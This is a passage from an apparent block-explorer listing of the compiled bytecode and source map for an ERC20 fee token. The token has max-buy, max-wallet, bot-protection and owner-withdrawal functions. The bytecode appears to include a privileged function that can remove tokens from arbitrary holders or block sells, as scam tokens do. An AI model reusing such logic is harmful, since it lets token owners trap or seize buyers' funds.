833561308581613004565b9250602084013561309581613004565b929592945050506040919091013590565b6000602082840312156130b857600080fd5b5035919050565b600080600080608085870312156130d557600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561310457600080fd5b823561310f81613004565b91506020830135801515811461312457600080fd5b809150509250929050565b60008060006060848603121561314457600080fd5b833561314f81613004565b95602085013595506040909401359392505050565b6000806040838503121561317757600080fd5b823561318281613004565b9150602083013561312481613004565b600181811c908216806131a657607f821691505b6020821081036131c657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610bd857610bd8613201565b60008261324b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610bd857610bd8613201565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610bd857610bd8613201565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561332657600080fd5b8151610d2c81613004565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156133815784516001600160a01b03168352938301939183019160010161335c565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156133b757600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220c954d21e6a9e545e88a8515a37f034e4d80f04f59b7009414b47c7ec4a4f946164736f6c634300081100334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0

Deployed Bytecode

0x6080604052600436106103c75760003560e01c806395d89b41116101f2578063cadd422c1161010d578063e2f45605116100a0578063f2bbf8d91161006f578063f2bbf8d914610ad3578063f2fde38b14610ae9578063fc7eb42d14610b09578063fd35d1d614610b1f57600080fd5b8063e2f4560514610a72578063e611bfdb14610a88578063e7ad9fcd14610a9e578063e884f26014610abe57600080fd5b8063d4384318116100dc578063d4384318146109e3578063dc3f0d0f146109f9578063dd62ed3e14610a19578063e086e5ec14610a5d57600080fd5b8063cadd422c14610981578063cd51e6d414610997578063d0a39814146109ad578063d257b34f146109c357600080fd5b8063abe43b1b11610185578063c18bc19511610154578063c18bc195146108f0578063c424134c14610910578063c5b45ec014610940578063c876d0b91461096057600080fd5b8063abe43b1b14610883578063b9e937001461089a578063bbc0c742146108b0578063c0246668146108d057600080fd5b8063a457c2d7116101c1578063a457c2d71461080d578063a9059cbb1461082d578063aa4bde281461084d578063aacebbe31461086357600080fd5b806395d89b41146107a25780639a7a23d6146107b75780639fccce32146107d7578063a41aaaf1146107ed57600080fd5b806359d24b8e116102e2578063751039fc1161027557806388e765ff1161024457806388e765ff146107435780638a8c523c146107595780638cf405551461076e5780638da5cb5b1461078457600080fd5b8063751039fc146106e25780637571336a146106f757806376c702bf14610717578063868f0a741461072d57600080fd5b80636eb490cf116102b15780636eb490cf1461066757806370a0823114610697578063715018a6146106b7578063737952e6146106cc57600080fd5b806359d24b8e146105ec57806366d602ae1461061c5780636b0a894c146106325780636ddd17131461064857600080fd5b806323b872dd1161035a5780633950935111610329578063395093511461057c578063437764991461059c57806349bd5a5e146105b25780634a62bb65146105d257600080fd5b806323b872dd146105005780632be32b61146105205780632e6ed7ef14610540578063313ce5671461056057600080fd5b80631816467f116103965780631816467f146104855780631a8145bb146104a75780631f3fed8f146104bd57806323b1e7a7146104d357600080fd5b806306fdde03146103d3578063095ea7b3146103fe5780631694505e1461042e57806318160ddd1461046657600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610b35565b6040516103f59190612fb6565b60405180910390f35b34801561040a57600080fd5b5061041e61041936600461301c565b610bc7565b60405190151581526020016103f5565b34801561043a57600080fd5b5060095461044e906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561047257600080fd5b506004545b6040519081526020016103f5565b34801561049157600080fd5b506104a56104a0366004613048565b610bde565b005b3480156104b357600080fd5b5061047760255481565b3480156104c957600080fd5b5061047760235481565b3480156104df57600080fd5b506104776104ee366004613048565b600d6020526000908152604090205481565b34801561050c57600080fd5b5061041e61051b366004613065565b610c89565b34801561052c57600080fd5b506104a561053b3660046130a6565b610d33565b34801561054c57600080fd5b506104a561055b3660046130bf565b610e40565b34801561056c57600080fd5b50604051601281526020016103f5565b34801561058857600080fd5b5061041e61059736600461301c565b610ee3565b3480156105a857600080fd5b50610477601b5481565b3480156105be57600080fd5b5060085461044e906001600160a01b031681565b3480156105de57600080fd5b5060115461041e9060ff1681565b3480156105f857600080fd5b5061041e610607366004613048565b600f6020526000908152604090205460ff1681565b34801561062857600080fd5b5061047760145481565b34801561063e57600080fd5b5061047760125481565b34801561065457600080fd5b5060115461041e90610100900460ff1681565b34801561067357600080fd5b5061041e610682366004613048565b60166020526000908152604090205460ff1681565b3480156106a357600080fd5b506104776106b2366004613048565b610f1d565b3480156106c357600080fd5b506104a5610f38565b3480156106d857600080fd5b50610477601f5481565b3480156106ee57600080fd5b506104a5610fac565b34801561070357600080fd5b506104a56107123660046130f1565b611013565b34801561072357600080fd5b50610477601a5481565b34801561073957600080fd5b5061047760205481565b34801561074f57600080fd5b5061047760135481565b34801561076557600080fd5b506104a56110db565b34801561077a57600080fd5b5061047760265481565b34801561079057600080fd5b506005546001600160a01b031661044e565b3480156107ae57600080fd5b506103e861119e565b3480156107c357600080fd5b506104a56107d23660046130f1565b6111ad565b3480156107e357600080fd5b5061047760245481565b3480156107f957600080fd5b506104a561080836600461312f565b6112a1565b34801561081957600080fd5b5061041e61082836600461301c565b6112f7565b34801561083957600080fd5b5061041e61084836600461301c565b61138e565b34801561085957600080fd5b5061047760155481565b34801561086f57600080fd5b506104a561087e366004613048565b61139b565b34801561088f57600080fd5b50600754431061041e565b3480156108a657600080fd5b5061047760195481565b3480156108bc57600080fd5b5060115461041e9062010000900460ff1681565b3480156108dc57600080fd5b506104a56108eb3660046130f1565b611449565b3480156108fc57600080fd5b506104a561090b3660046130a6565b6114d2565b34801561091c57600080fd5b5061041e61092b366004613048565b60186020526000908152604090205460ff1681565b34801561094c57600080fd5b506104a561095b366004613048565b6115db565b34801561096c57600080fd5b5060115461041e906301000000900460ff1681565b34801561098d57600080fd5b50610477601c5481565b3480156109a357600080fd5b5061047760065481565b3480156109b957600080fd5b50610477601e5481565b3480156109cf57600080fd5b506104a56109de3660046130a6565b611626565b3480156109ef57600080fd5b5061047760225481565b348015610a0557600080fd5b506104a5610a143660046130a6565b611771565b348015610a2557600080fd5b50610477610a34366004613164565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b348015610a6957600080fd5b506104a5611878565b348015610a7e57600080fd5b50610477600a5481565b348015610a9457600080fd5b5061047760075481565b348015610aaa57600080fd5b506104a5610ab93660046130bf565b6118e4565b348015610aca57600080fd5b506104a5611984565b348015610adf57600080fd5b5061047760215481565b348015610af557600080fd5b506104a5610b04366004613048565b6119bd565b348015610b1557600080fd5b5061047760105481565b348015610b2b57600080fd5b50610477601d5481565b606060038054610b4490613192565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090613192565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b5050505050905090565b6000610bd4338484611aa8565b5060015b92915050565b6005546001600160a01b03163314610c115760405162461bcd60e51b8152600401610c08906131cc565b60405180910390fd5b6001600160a01b038116610c675760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610c08565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c96848484611bcb565b6001600160a01b03841660009081526020818152604080832033845290915290205482811015610d195760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c08565b610d268533858403611aa8565b60019150505b9392505050565b6005546001600160a01b03163314610d5d5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e8610d7260045490565b610d7d906002613217565b610d87919061322e565b610d91919061322e565b811015610df25760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610c08565b610e0481670de0b6b3a7640000613217565b60138190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e6a5760405162461bcd60e51b8152600401610c08906131cc565b601d839055601a849055601b829055601c8190558082610e8a8587613250565b610e949190613250565b610e9e9190613250565b601981905560031015610edd5760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610c08565b50505050565b336000818152602081815260408083206001600160a01b03871684529091528120549091610bd4918590610f18908690613250565b611aa8565b6001600160a01b031660009081526001602052604090205490565b6005546001600160a01b03163314610f625760405162461bcd60e51b8152600401610c08906131cc565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fd65760405162461bcd60e51b8152600401610c08906131cc565b6004546013556004546014556004546015556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b0316331461103d5760405162461bcd60e51b8152600401610c08906131cc565b806110b0576008546001600160a01b03908116908316036110b05760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610c08565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146111055760405162461bcd60e51b8152600401610c08906131cc565b60115462010000900460ff161561115e5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610c08565b6011805462ffff00191662010100179055436006556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060028054610b4490613192565b6005546001600160a01b031633146111d75760405162461bcd60e51b8152600401610c08906131cc565b6008546001600160a01b039081169083160361125b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c08565b6112658282612803565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b306112ab81610f1d565b600a5411156112b957600080fd5b6112c4848484612831565b15610edd576009805460ff60a01b1916600160a01b1790556112e46128cb565b6009805460ff60a01b1916905550505050565b336000908152602081815260408083206001600160a01b0386168452909152812054828110156113775760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c08565b6113843385858403611aa8565b5060019392505050565b6000610bd4338484611bcb565b6005546001600160a01b031633146113c55760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b0381166114275760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610c08565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146114735760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b038216600081815260176020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114fc5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e861151160045490565b61151c906003613217565b611526919061322e565b611530919061322e565b8110156115945760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610c08565b6115a681670de0b6b3a7640000613217565b60158190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e35565b6005546001600160a01b031633146116055760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6005546001600160a01b031633146116505760405162461bcd60e51b8152600401610c08906131cc565b620186a061165d60045490565b611668906001613217565b611672919061322e565b8110156116df5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c08565b6103e86116eb60045490565b6116f6906001613217565b611700919061322e565b81111561176c5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610c08565b600a55565b6005546001600160a01b0316331461179b5760405162461bcd60e51b8152600401610c08906131cc565b670de0b6b3a76400006103e86117b060045490565b6117bb906002613217565b6117c5919061322e565b6117cf919061322e565b8110156118315760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610c08565b61184381670de0b6b3a7640000613217565b60148190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e35565b6005546001600160a01b031633146118a25760405162461bcd60e51b8152600401610c08906131cc565b604051600090339047908381818185875af1925050503d8060008114610edd576040519150601f19603f3d011682016040523d82523d6000602084013e610edd565b6005546001600160a01b0316331461190e5760405162461bcd60e51b8152600401610c08906131cc565b6022839055601f84905560208290556021819055808261192e8587613250565b6119389190613250565b6119429190613250565b601e81905560031015610edd5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610c08565b6005546001600160a01b031633146119ae5760405162461bcd60e51b8152600401610c08906131cc565b6011805463ff00000019169055565b6005546001600160a01b031633146119e75760405162461bcd60e51b8152600401610c08906131cc565b6001600160a01b038116611a4c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c08565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611b0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c08565b6001600160a01b038216611b6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c08565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038084166000908152601660209081526040808320549386168352600d909152812054429260ff1691901590611c0786610f1d565b1590506001600160a01b038716611c305760405162461bcd60e51b8152600401610c0890613263565b6001600160a01b038616611c565760405162461bcd60e51b8152600401610c08906132a8565b60008511611ca65760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610c08565b60115462010000900460ff16611d3a576001600160a01b03871660009081526017602052604090205460ff1680611cf557506001600160a01b03861660009081526017602052604090205460ff165b611d3a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c08565b60075415611de4576001600160a01b0387166000908152600f602052604090205460ff161580611d7757506005546001600160a01b038781169116145b80611d8c57506001600160a01b03861661dead145b611de45760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610c08565b60115460ff1615612299576001600160a01b03871660009081526018602052604090205460095460ff91821691600160a01b9091041615611e2d6005546001600160a01b031690565b6001600160a01b0316896001600160a01b031614158015611e5c57506005546001600160a01b03898116911614155b8015611e7057506001600160a01b03881615155b8015611e8757506001600160a01b03881661dead14155b8015611eac57506001600160a01b03891660009081526017602052604090205460ff16155b8015611ed157506001600160a01b03881660009081526017602052604090205460ff16155b15612046576011546301000000900460ff1615612046576009546001600160a01b038a1660009081526016602052604081205460ff600160a01b90930483161592161590818015611f1f5750825b6009549091506001600160a01b038c8116911614801590611f4e57506008546001600160a01b038c8116911614155b1561201157611f5e6002436132eb565b326000908152600e6020526040902054108015611f9c5750611f816002436132eb565b6001600160a01b038c166000908152600e6020526040902054105b611fe85760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610c08565b326000908152600e602052604080822043908190556001600160a01b038e168352912055612042565b8015612042576001600160a01b038c166000908152600d602052604090205460105481118061203f57600080fd5b50505b5050505b6001600160a01b03891660009081526016602052604090205460ff16801561208757506001600160a01b03881660009081526018602052604090205460ff16155b15612153576013548711156120ef5760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610c08565b6015546120fb89610f1d565b6121059089613250565b111561214e5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b612296565b80801561215d5750815b1561216c576010869055612296565b6001600160a01b03881660009081526016602052604090205460ff1680156121ad57506001600160a01b03891660009081526018602052604090205460ff16155b156122175760145487111561214e5760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610c08565b6001600160a01b03881660009081526018602052604090205460ff166122965760155461224389610f1d565b61224d9089613250565b11156122965760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c08565b50505b60006122a430610f1d565b600a54909150811080159081906122c25750601154610100900460ff165b80156122d85750600954600160a01b900460ff16155b80156122fd57506001600160a01b03891660009081526016602052604090205460ff16155b801561232257506001600160a01b03891660009081526017602052604090205460ff16155b801561234757506001600160a01b03881660009081526017602052604090205460ff16155b15612375576009805460ff60a01b1916600160a01b1790556123676128cb565b6009805460ff60a01b191690555b60018480156123815750855b156123a85783156123a8576001600160a01b0389166000908152600d602052604090208790555b6001600160a01b038a1660009081526017602052604090205460ff16806123e757506001600160a01b03891660009081526017602052604090205460ff165b156123f0575060005b600081156127eb576007544310801561242157506001600160a01b038b1660009081526016602052604090205460ff165b801561244657506001600160a01b038a1660009081526016602052604090205460ff16155b801561245457506000601954115b156125d4576001600160a01b038a166000908152600f602052604090205460ff166124f4576001600160a01b038a166000908152600f60205260408120805460ff1916600190811790915560128054919290916124b2908490613250565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646125018a6063613217565b61250b919061322e565b9050601954601d548261251e9190613217565b612528919061322e565b602560008282546125399190613250565b9091555050601954601a5461254e9083613217565b612558919061322e565b602360008282546125699190613250565b9091555050601954601b5461257e9083613217565b612588919061322e565b602460008282546125999190613250565b9091555050601954601c546125ae9083613217565b6125b8919061322e565b602660008282546125c99190613250565b909155506127cd9050565b6001600160a01b038a1660009081526016602052604090205460ff1680156125fe57506000601e54115b156126c0576064601e548a6126139190613217565b61261d919061322e565b9050601e54602254826126309190613217565b61263a919061322e565b6025600082825461264b9190613250565b9091555050601e54601f546126609083613217565b61266a919061322e565b6023600082825461267b9190613250565b9091555050601e546020546126909083613217565b61269a919061322e565b602460008282546126ab9190613250565b9091555050601e546021546125ae9083613217565b6001600160a01b038b1660009081526016602052604090205460ff1680156126ea57506000601954115b156127cd5760646019548a6126ff9190613217565b612709919061322e565b9050601954601d548261271c9190613217565b612726919061322e565b602560008282546127379190613250565b9091555050601954601a5461274c9083613217565b612756919061322e565b602360008282546127679190613250565b9091555050601954601b5461277c9083613217565b612786919061322e565b602460008282546127979190613250565b9091555050601954601c546127ac9083613217565b6127b6919061322e565b602660008282546127c79190613250565b90915550505b80156127de576127de8b3083612ad1565b6127e8818a6132eb565b98505b6127f68b8b8b612ad1565b5050505050505050505050565b6001600160a01b0382166000908152601660205260409020805460ff19168215151790556112658282612c26565b3360008181526017602052604081205490919060ff163083821561288b57600061285a83610f1d565b1115612880578660000361287257601086905561287c565b61287c8888612c89565b5060005b9350610d2c92505050565b60265461289783610f1d565b101580156128a757506000602654115b156128b8576128b884602654612c89565b505060006026555060019150610d2c9050565b60006026541180156128e757506026546128e430610f1d565b10155b156128f8576128f830602654612c89565b6000602681905561290830610f1d565b9050600060245460235460255461291f9190613250565b6129299190613250565b9050811580612936575080155b1561293f575050565b600a805461294c91613217565b82111561296357600a805461296091613217565b91505b6000600282602554856129769190613217565b612980919061322e565b61298a919061322e565b905061299e61299982856132eb565b612daa565b602554479081906000906129b49060029061322e565b6129be90866132eb565b6023546129cb9085613217565b6129d5919061322e565b9050600060026025546129e8919061322e565b6129f290876132eb565b6024546129ff9086613217565b612a09919061322e565b9050612a158183613250565b612a1f90846132eb565b600060258190556023819055602481905560265592508415801590612a445750600083115b15612a5357612a538584612f04565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612a8d573d6000803e3d6000fd5b50600b546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612ac7573d6000803e3d6000fd5b5050505050505050565b6001600160a01b038316612af75760405162461bcd60e51b8152600401610c0890613263565b6001600160a01b038216612b1d5760405162461bcd60e51b8152600401610c08906132a8565b6001600160a01b03831660009081526001602052604090205481811015612b955760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c08565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290612bcc908490613250565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c1891815260200190565b60405180910390a350505050565b6001600160a01b038216600081815260186020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b038216612cdf5760405162461bcd60e51b815260206004820152601760248201527f45524332303a20746865207a65726f20616464726573730000000000000000006044820152606401610c08565b6001600160a01b03821660009081526001602052604090205481811015612d525760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074686520616d6f756e7420657863656564732062616c616e636044820152606560f81b6064820152608401610c08565b6001600160a01b03831660008181526001602090815260408083208686039055600480548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611bbe565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612ddf57612ddf6132fe565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612e38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e5c9190613314565b81600181518110612e6f57612e6f6132fe565b6001600160a01b039283166020918202929092010152600954612e959130911684611aa8565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790612ece908590600090869030904290600401613331565b600060405180830381600087803b158015612ee857600080fd5b505af1158015612efc573d6000803e3d6000fd5b505050505050565b600954612f1c9030906001600160a01b031684611aa8565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612f8a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612faf91906133a2565b5050505050565b600060208083528351808285015260005b81811015612fe357858101830151858201604001528201612fc7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461301957600080fd5b50565b6000806040838503121561302f57600080fd5b823561303a81613004565b946020939093013593505050565b60006020828403121561305a57600080fd5b8135610d2c81613004565b60008060006060848603121561307a57600080fd5b833561308581613004565b9250602084013561309581613004565b929592945050506040919091013590565b6000602082840312156130b857600080fd5b5035919050565b600080600080608085870312156130d557600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561310457600080fd5b823561310f81613004565b91506020830135801515811461312457600080fd5b809150509250929050565b60008060006060848603121561314457600080fd5b833561314f81613004565b95602085013595506040909401359392505050565b6000806040838503121561317757600080fd5b823561318281613004565b9150602083013561312481613004565b600181811c908216806131a657607f821691505b6020821081036131c657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610bd857610bd8613201565b60008261324b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610bd857610bd8613201565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610bd857610bd8613201565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561332657600080fd5b8151610d2c81613004565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156133815784516001600160a01b03168352938301939183019160010161335c565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156133b757600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220c954d21e6a9e545e88a8515a37f034e4d80f04f59b7009414b47c7ec4a4f946164736f6c63430008110033

Deployed Bytecode Sourcemap

8203:20182:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3997:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5402:194;;;;;;;;;;-1:-1:-1;5402:194:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5402:194:0;1023:187:1;8380:38:0;;;;;;;;;;-1:-1:-1;8380:38:0;;;;-1:-1:-1;;;;;8380:38:0;;;;;;-1:-1:-1;;;;;1402:32:1;;;1384:51;;1372:2;1357:18;8380:38:0;1215:226:1;4206:108:0;;;;;;;;;;-1:-1:-1;4294:12:0;;4206:108;;;1592:25:1;;;1580:2;1565:18;4206:108:0;1446:177:1;25786:189:0;;;;;;;;;;-1:-1:-1;25786:189:0;;;;;:::i;:::-;;:::i;:::-;;9742:33;;;;;;;;;;;;;;;;9668;;;;;;;;;;;;;;;;8573:62;;;;;;;;;;-1:-1:-1;8573:62:0;;;;;:::i;:::-;;;;;;;;;;;;;;4473:529;;;;;;;;;;-1:-1:-1;4473:529:0;;;;;:::i;:::-;;:::i;15637:339::-;;;;;;;;;;-1:-1:-1;15637:339:0;;;;;:::i;:::-;;:::i;24424:532::-;;;;;;;;;;-1:-1:-1;24424:532:0;;;;;:::i;:::-;;:::i;4105:93::-;;;;;;;;;;-1:-1:-1;4105:93:0;;4188:2;3058:36:1;;3046:2;3031:18;4105:93:0;2916:184:1;5604:290:0;;;;;;;;;;-1:-1:-1;5604:290:0;;;;;:::i;:::-;;:::i;9359:27::-;;;;;;;;;;;;;;;;8345:28;;;;;;;;;;-1:-1:-1;8345:28:0;;;;-1:-1:-1;;;;;8345:28:0;;;8797:33;;;;;;;;;;-1:-1:-1;8797:33:0;;;;;;;;8713:47;;;;;;;;;;-1:-1:-1;8713:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9027:28;;;;;;;;;;;;;;;;8959:25;;;;;;;;;;;;;;;;8837:30;;;;;;;;;;-1:-1:-1;8837:30:0;;;;;;;;;;;9101:52;;;;;;;;;;-1:-1:-1;9101:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4322:143;;;;;;;;;;-1:-1:-1;4322:143:0;;;;;:::i;:::-;;:::i;1139:150::-;;;;;;;;;;;;;:::i;9509:34::-;;;;;;;;;;;;;;;;14619:203;;;;;;;;;;;;;:::i;23437:364::-;;;;;;;;;;-1:-1:-1;23437:364:0;;;;;:::i;:::-;;:::i;9319:33::-;;;;;;;;;;;;;;;;9550:28;;;;;;;;;;;;;;;;8993:27;;;;;;;;;;;;;;;;13759:243;;;;;;;;;;;;;:::i;9782:32::-;;;;;;;;;;;;;;;;636:79;;;;;;;;;;-1:-1:-1;701:6:0;;-1:-1:-1;;;;;701:6:0;636:79;;3885:104;;;;;;;;;;;;;:::i;24052:364::-;;;;;;;;;;-1:-1:-1;24052:364:0;;;;;:::i;:::-;;:::i;9708:27::-;;;;;;;;;;;;;;;;14233:378;;;;;;;;;;-1:-1:-1;14233:378:0;;;;;:::i;:::-;;:::i;5902:475::-;;;;;;;;;;-1:-1:-1;5902:475:0;;;;;:::i;:::-;;:::i;5010:200::-;;;;;;;;;;-1:-1:-1;5010:200:0;;;;;:::i;:::-;;:::i;9062:30::-;;;;;;;;;;;;;;;;25518:260;;;;;;;;;;-1:-1:-1;25518:260:0;;;;;:::i;:::-;;:::i;28232:113::-;;;;;;;;;;-1:-1:-1;28323:14:0;;28308:12;:29;28232:113;;